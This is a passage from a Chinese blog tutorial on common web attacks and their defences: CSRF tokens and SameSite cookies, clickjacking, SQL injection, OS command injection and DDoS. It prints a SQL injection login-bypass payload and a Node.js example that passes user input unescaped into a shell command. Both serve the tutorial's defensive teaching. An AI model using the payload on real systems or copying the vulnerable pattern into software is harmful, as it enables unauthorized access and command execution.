<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">app.use(<span class="keyword">async</span> (ctx, next) =&gt; &#123;</span><br><span class="line">    <span class="keyword">await</span> next()</span><br><span class="line">    <span class="keyword">const</span> referer = ctx.request.header.referer</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">&#x27;Referer:&#x27;</span>, referer)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<img data-src="https://gitee.com/lilyn/pic/raw/master/js-img/HTTP%20Referer.jpg" style="zoom:80%;" />

<p>比如：转账的操作一定是用户登陆之后在本站点的页面上操作的，因此可以讲 Referer 字段限制为只允许本站点</p>
</li>
<li><p><strong>Anti CSRF Token</strong></p>
<p>所有用户请求都携带一个 CSRF 攻击者无法获取到的 Token。服务器通过校验请求是否携带正确 Token，来把正确请求和攻击的请求区分开</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;csrf-token&quot;</span> <span class="attr">content</span>=<span class="string">&quot;...&quot;</span> /&gt;</span></span><br></pre></td></tr></table></figure>

<p>确保 token 的保密性和随机性</p>
</li>
<li><p>cookie 双重验证</p>
<p>CSRF 成功的原因在于站点对于用户身份的辨别依赖于 Cookie，因此攻击者可以在不知道用户口令的情况下直接使用用户的 Cookie 来通过安全验证</p>
</li>
</ul>
<p><strong>Samesite Cookie 属性</strong></p>
<ul>
<li><code>Samesite=Strict</code>：严格模式，表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie</li>
<li><code>Samesite=Lax</code>：宽松模式，比 Strict 放宽了点限制，假如这个请求是这个请求且是个 GET 请求，则这个 Cookie 可以作为第三方 Cookie</li>
</ul>
<p>注意：这个可以解决 <code>某些 Cookie 滥用推荐的“SameSite“属性 </code> 问题</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Cookies.set(<span class="string">&#x27;lang&#x27;</span>, lang, &#123;</span><br><span class="line">  sameSite: <span class="string">&#x27;Strict&#x27;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<h2 id="点击劫持-clickjacking"><a href="#点击劫持-clickjacking" class="headerlink" title="点击劫持 clickjacking"></a>点击劫持 clickjacking</h2><p>点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中，并将 iframe 设置为透明，在页面透出一个按钮诱导用户点击</p>
<ul>
<li><p>DNS 劫持：（输入京东被强制跳转到淘宝，这就属于 DNS 劫持）</p>
<p>DNS 强制解析：通过修改运营商的本地 DNS 记录，来引导用户流量到缓存服务器</p>
<p>302 跳转的方式：通过监控网络出口的流量，分析判断哪些内容是可以进行劫持处理的，再对劫持内存发起 302 跳转的回复，引导用户获取内容</p>
</li>
<li><p>HTTP 劫持：（访问谷歌但是一直有贪玩蓝月的广告）由于 http 明文传输，运营商会修改你的 http 响应内容（即加广告）</p>
</li>
</ul>
<h3 id="防范手段-2"><a href="#防范手段-2" class="headerlink" title="防范手段"></a>防范手段</h3><ul>
<li><p>最有效的方法就是全站 HTTPS，即 HTTP 加密，这使得运营商无法获取明文，就无法劫持你的响应内容</p>
</li>
<li><p>X-FRAME-OPTIONS</p>
<p><code>X-FRAME-OPTIONS</code> 是一个 HTTP 响应头，在现代浏览器有一个很好的支持。这个 HTTP 响应头就是为了防御用 iframe 嵌套的点击劫持</p>
<p>改响应头有三个值可选，分别是：</p>
<ul>
<li><code>DENT</code> ：页面不允许通过 iframe 的方式展示</li>
<li><code>SAMEORIGIN</code> ：页面可以在相同域名下通过 iframe 的方式展示</li>
<li><code>ALLOW-FROM</code> ：页面可以在指定来源的 iframe 中展示</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctx.set(<span class="string">&#x27;X-FRAME-OPTIONS&#x27;</span>, <span class="string">&#x27;DENY&#x27;</span>)</span><br></pre></td></tr></table></figure>

</li>
</ul>
<h2 id="SQL-注入"><a href="#SQL-注入" class="headerlink" title="SQL 注入"></a>SQL 注入</h2><p>SQL 注入发生于 <strong>应用程序与数据库层</strong> 的安全漏洞</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 填入特殊密码</span></span><br><span class="line">1&#x27;or&#x27;1&#x27;=&#x27;1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 拼接后的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> *</span><br><span class="line"><span class="keyword">FROM</span> test.user</span><br><span class="line"><span class="keyword">WHERE</span> username = <span class="string">&#x27;bird&#x27;</span></span><br><span class="line"><span class="keyword">AND</span> <span class="keyword">password</span> = <span class="number">1</span><span class="string">&#x27;or&#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure>

<h3 id="攻击危害-1"><a href="#攻击危害-1" class="headerlink" title="攻击危害"></a>攻击危害</h3><ul>
<li>猜解后台数据库，盗取网站敏感信息</li>
<li>绕过验证登录网站后台</li>
<li>借助数据库的存储过程进行提权等操作</li>
</ul>
<h3 id="防范手段-3"><a href="#防范手段-3" class="headerlink" title="防范手段"></a>防范手段</h3><ul>
<li>严格限制 Web 应用的数据库的操作权限，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害</li>
<li>后端代码检查输入的数据是否符合预期，严格限制变量的类型，例如使用正则表达式进行一些匹配处理</li>
<li>对进入数据库的特殊字符（<code>&#39;、&quot;、\、&lt;、&gt;、&amp;、*、;</code> 等），或编码转换。基本上所有的后端语言都有对字符串进行转义处理的 方法，比如 lodash 的 <code>lodash._escapehtmlchar</code> </li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">router.post(<span class="string">&#x27;/login&#x27;</span>, <span class="keyword">async</span> (ctx) =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; username, password &#125; = ctx.request.body</span><br><span class="line">    <span class="keyword">const</span> sql = <span class="string">`</span></span><br><span class="line"><span class="string">    SELECT *</span></span><br><span class="line"><span class="string">    FROM test.user</span></span><br><span class="line"><span class="string">    WHERE username = ?</span></span><br><span class="line"><span class="string">    AND password = ?</span></span><br><span class="line"><span class="string">    `</span></span><br><span class="line">    res = <span class="keyword">await</span> query(sql, [username, password])</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<h2 id="其他注入"><a href="#其他注入" class="headerlink" title="其他注入"></a>其他注入</h2><h3 id="OS-命令注入"><a href="#OS-命令注入" class="headerlink" title="OS 命令注入"></a>OS 命令注入</h3><p>OS 命令注入和 SQL 注入差不多，只不过 SQL 注入是针对数据库的，而 OS 命令注入是针对操作系统的</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 以 Node.js 为例，假如在接⼝中需要从 github 下载⽤户指定的 repo</span></span><br><span class="line"><span class="keyword">const</span> exec = <span class="built_in">require</span>(<span class="string">&#x27;mz/child_process&#x27;</span>).exec;</span><br><span class="line"><span class="keyword">let</span> params = &#123;<span class="comment">/* ⽤户输⼊的参数 */</span>&#125;;</span><br><span class="line">exec(<span class="string">`git clone <span class="subst">$&#123;params.repo&#125;</span> /some/path`</span>);</span><br></pre></td></tr></table></figure>

<h3 id="DDOS"><a href="#DDOS" class="headerlink" title="DDOS"></a>DDOS</h3><p>distributed denial of service，DDOS 不是一种攻击，而是一大类攻击的总称。其中，比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求，超出服务器的最大承受量，导致宕机</p>
<ul>
<li><p>SYN Flood</p>
<p>此攻击通过向目标发送具有可欺骗性源 IP 地址的大量 TCP “初始连接请求” SYN 数据包来利用 TCP 握手。目标机器响应每个连接请求，然后等待握手中的最后一步，这一步从未发生过，耗尽了进程中的目标资源</p>
</li>
<li><p>HTTP Flood</p>
<p>此攻击类似于同时在多个不同计算机上反复按 Web 浏览器中的刷新（大量 HTTP 请求泛滥服务器，导致拒绝服务）</p>
</li>
</ul>
<p><strong>防御手段</strong></p>
<ul>
<li>备份网站</li>
<li>HTTP 请求拦截 高防 IP</li>
<li>宽带扩容 + CDN</li>
</ul>

    </div>

    
    
    

	<div>
		  
			
<div class="my_post_copyright clearfix">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <article class="box-left">
    <img src="https://gitee.com/lilyn/pic/raw/master/logo.jpg">
  </article>
  <article class="box-right">
    <p><span>本文标题:</span><a href="/posts/8188972/">常见 Web 攻击（前端篇）</a></p>
    <p><span>文章作者:</span><a href="/" title="访问 LiLyn 的个人博客">LiLyn</a></p>
    <p><span>原始链接:</span><a href="/posts/8188972/" title="常见 Web 攻击（前端篇）">http://llmysnow.top/posts/8188972/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="http://llmysnow.top/posts/8188972/"  aria-label="复制成功！"></i></span>
  </p>
    <p><span>许可协议:</span>转载请保留原文链接及作者。</p>  
  </article>
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>

		  
	</div>

      <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/XSS/" rel="tag"><i class="fa fa-tag"></i> XSS</a>
              <a href="/tags/CSRF/" rel="tag"><i class="fa fa-tag"></i> CSRF</a>
              <a href="/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" rel="tag"><i class="fa fa-tag"></i> 网络安全</a>
          </div>
		 
		<!--post-tags 彩色标签-->
		<script type="text/javascript">
		var tagsall=document.getElementsByClassName("post-tags")
		for (var i = tagsall.length - 1; i >= 0; i--){
			var tags=tagsall[i].getElementsByTagName("a");
			for (var j = tags.length - 1; j >= 0; j--) {
				var r=Math.floor(Math.random()*75+130);
				var g=Math.floor(Math.random()*75+100);
				var b=Math.floor(Math.random()*75+80);
				tags[j].style.background = "rgb("+r+","+g+","+b+")";
				tags[j].style.color = "#fff";
				tags[j].style.padding = "0 10px";
			}
		}                        
		</script>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/posts/5c61fd6a/" rel="prev" title="Vue 中使用 Upload 组件上传 Excel">
      <i class="fa fa-chevron-left"></i> Vue 中使用 Upload 组件上传 Excel
    </a></div>
      <div class="post-nav-item">
    <a href="/posts/643ce53f/" rel="next" title="Vue 封装自定义表格的选择框组件">
      Vue 封装自定义表格的选择框组件 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#XSS"><span class="nav-text">XSS</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#XSS-%E6%94%BB%E5%87%BB%E5%88%86%E7%B1%BB"><span class="nav-text">XSS 攻击分类</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%8F%8D%E5%B0%84%E5%9E%8B-XSS"><span class="nav-text">反射型 XSS</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%AD%98%E5%82%A8%E5%9E%8B-XSS"><span class="nav-text">存储型 XSS</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#DOM-%E5%9E%8B-XSS"><span class="nav-text">DOM 型 XSS</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%8C%BA%E5%88%AB"><span class="nav-text">区别</span></a></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%94%BB%E5%87%BB%E5%8D%B1%E5%AE%B3"><span class="nav-text">攻击危害</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E9%98%B2%E8%8C%83%E6%89%8B%E6%AE%B5"><span class="nav-text">防范手段</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#HEAD"><span class="nav-text">HEAD</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#CSP"><span class="nav-text">CSP</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E8%BD%AC%E4%B9%89%E5%AD%97%E7%AC%A6%EF%BC%88%E8%BF%87%E6%BB%A4%EF%BC%89"><span class="nav-text">转义字符（过滤）</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#HttpOnly"><span class="nav-text">HttpOnly</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#DOM-%E5%9E%8B%E6%B3%A8%E6%84%8F"><span class="nav-text">DOM 型注意</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#CSRF"><span class="nav-text">CSRF</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#CSRF-%E6%94%BB%E5%87%BB%E5%8D%B1%E5%AE%B3"><span class="nav-text">CSRF 攻击危害</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E9%98%B2%E8%8C%83%E6%89%8B%E6%AE%B5-1"><span class="nav-text">防范手段</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%82%B9%E5%87%BB%E5%8A%AB%E6%8C%81-clickjacking"><span class="nav-text">点击劫持 clickjacking</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E9%98%B2%E8%8C%83%E6%89%8B%E6%AE%B5-2"><span class="nav-text">防范手段</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#SQL-%E6%B3%A8%E5%85%A5"><span class="nav-text">SQL 注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%94%BB%E5%87%BB%E5%8D%B1%E5%AE%B3-1"><span class="nav-text">攻击危害</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E9%98%B2%E8%8C%83%E6%89%8B%E6%AE%B5-3"><span class="nav-text">防范手段</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%85%B6%E4%BB%96%E6%B3%A8%E5%85%A5"><span class="nav-text">其他注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#OS-%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5"><span class="nav-text">OS 命令注入</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#DDOS"><span class="nav-text">DDOS</span></a></li></ol></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="LiLyn"
      src="/images/logo.jpg">
  <p class="site-author-name" itemprop="name">LiLyn</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">70</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">10</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">162</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/llwodexue" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;llwodexue" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
      </span>
      <span class="links-of-author-item">
        <a href="https://blog.csdn.net/qq_38689395" title="CSDN → https:&#x2F;&#x2F;blog.csdn.net&#x2F;qq_38689395" rel="noopener" target="_blank"><i class="fas fa-copyright fa-fw"></i>CSDN</a>
      </span>
  </div>


  <div class="links-of-blogroll motion-element">
    <div class="links-of-blogroll-title"><i class="fa fa-link fa-fw"></i>
      友情链接
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="https://scx69.gitee.io/blogs/" title="https:&#x2F;&#x2F;scx69.gitee.io&#x2F;blogs&#x2F;" rel="noopener" target="_blank">花开满城</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://yixin-oss.gitee.io/daytoy/" title="http:&#x2F;&#x2F;yixin-oss.gitee.io&#x2F;daytoy&#x2F;" rel="noopener" target="_blank">daytoy</a>
        </li>
    </ul>
  </div>

      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2022</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">LiLyn</span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-chart-area"></i>
    </span>
    <span title="站点总字数">463k</span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-coffee"></i>
    </span>
    <span title="站点阅读时长">7:01</span>
</div>

<!--
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Gemini</a> 强力驱动
  </div>-->

<!--
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="powered-by">
  <i class="fa fa-user-md"></i>
  <span id="busuanzi_container_site_pv">
    本站访问量:<span id="busuanzi_value_site_pv"></span>次
  </span>
  <span class="post-meta-divider">|</span>
  <span id="busuanzi_container_site_uv">
    本站总访客量：<span id="busuanzi_value_site_uv"></span>人
  </span>
</div>-->

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="//cdn.jsdelivr.net/npm/lozad@1/dist/lozad.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  
  <script>
    (function(){
      var canonicalURL, curProtocol;
      //Get the <link> tag
      var x=document.getElementsByTagName("link");
		//Find the last canonical URL
		if(x.length > 0){
			for (i=0;i<x.length;i++){
				if(x[i].rel.toLowerCase() == 'canonical' && x[i].href){
					canonicalURL=x[i].href;
				}
			}
		}
    //Get protocol
	    if (!canonicalURL){
	    	curProtocol = window.location.protocol.split(':')[0];
	    }
	    else{
	    	curProtocol = canonicalURL.split(':')[0];
	    }
      //Get current URL if the canonical URL does not exist
	    if (!canonicalURL) canonicalURL = window.location.href;
	    //Assign script content. Replace current URL with the canonical URL
      !function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=canonicalURL,t=document.referrer;if(!e.test(r)){var n=(String(curProtocol).toLowerCase() === 'https')?"https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif":"//api.share.baidu.com/s.gif";t?(n+="?r="+encodeURIComponent(document.referrer),r&&(n+="&l="+r)):r&&(n+="?l="+r);var i=new Image;i.src=n}}(window);})();
  </script>




  
<script src="/js/local-search.js"></script>













  

  

  <!-- 动态线条背景 -->
  <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
  <!-- 页面点击小红心 -->
  <script type="text/javascript">
	!function(e,t,a){function n(){c(".heart{width: 10px;height: 10px;position: fixed;background: #f00;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);}.heart:after,.heart:before{content: '';width: inherit;height: inherit;background: inherit;border-radius: 50%;-webkit-border-radius: 50%;-moz-border-radius: 50%;position: fixed;}.heart:after{top: -5px;}.heart:before{left: -5px;}"),o(),r()}function r(){for(var e=0;e<d.length;e++)d[e].alpha<=0?(t.body.removeChild(d[e].el),d.splice(e,1)):(d[e].y--,d[e].scale+=.004,d[e].alpha-=.013,d[e].el.style.cssText="left:"+d[e].x+"px;top:"+d[e].y+"px;opacity:"+d[e].alpha+";transform:scale("+d[e].scale+","+d[e].scale+") rotate(45deg);background:"+d[e].color+";z-index:99999");requestAnimationFrame(r)}function o(){var t="function"==typeof e.onclick&&e.onclick;e.onclick=function(e){t&&t(),i(e)}}function i(e){var a=t.createElement("div");a.className="heart",d.push({el:a,x:e.clientX-5,y:e.clientY-5,scale:1,alpha:1,color:s()}),t.body.appendChild(a)}function c(e){var a=t.createElement("style");a.type="text/css";try{a.appendChild(t.createTextNode(e))}catch(t){a.styleSheet.cssText=e}t.getElementsByTagName("head")[0].appendChild(a)}function s(){return"rgb("+~~(255*Math.random())+","+~~(255*Math.random())+","+~~(255*Math.random())+")"}var d=[];e.requestAnimationFrame=function(){return e.requestAnimationFrame||e.webkitRequestAnimationFrame||e.mozRequestAnimationFrame||e.oRequestAnimationFrame||e.msRequestAnimationFrame||function(e){setTimeout(e,1e3/60)}}(),n()}(window,document);
  </script>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"pluginRootPath":"live2dw/","pluginJsPath":"lib/","pluginModelPath":"assets/","tagMode":false,"log":false,"model":{"jsonPath":"/live2dw/assets/hijiki.model.json"},"display":{"position":"right","width":150,"height":300},"mobile":{"show":true},"react":{"opacity":0.7}});</script></body>
</html>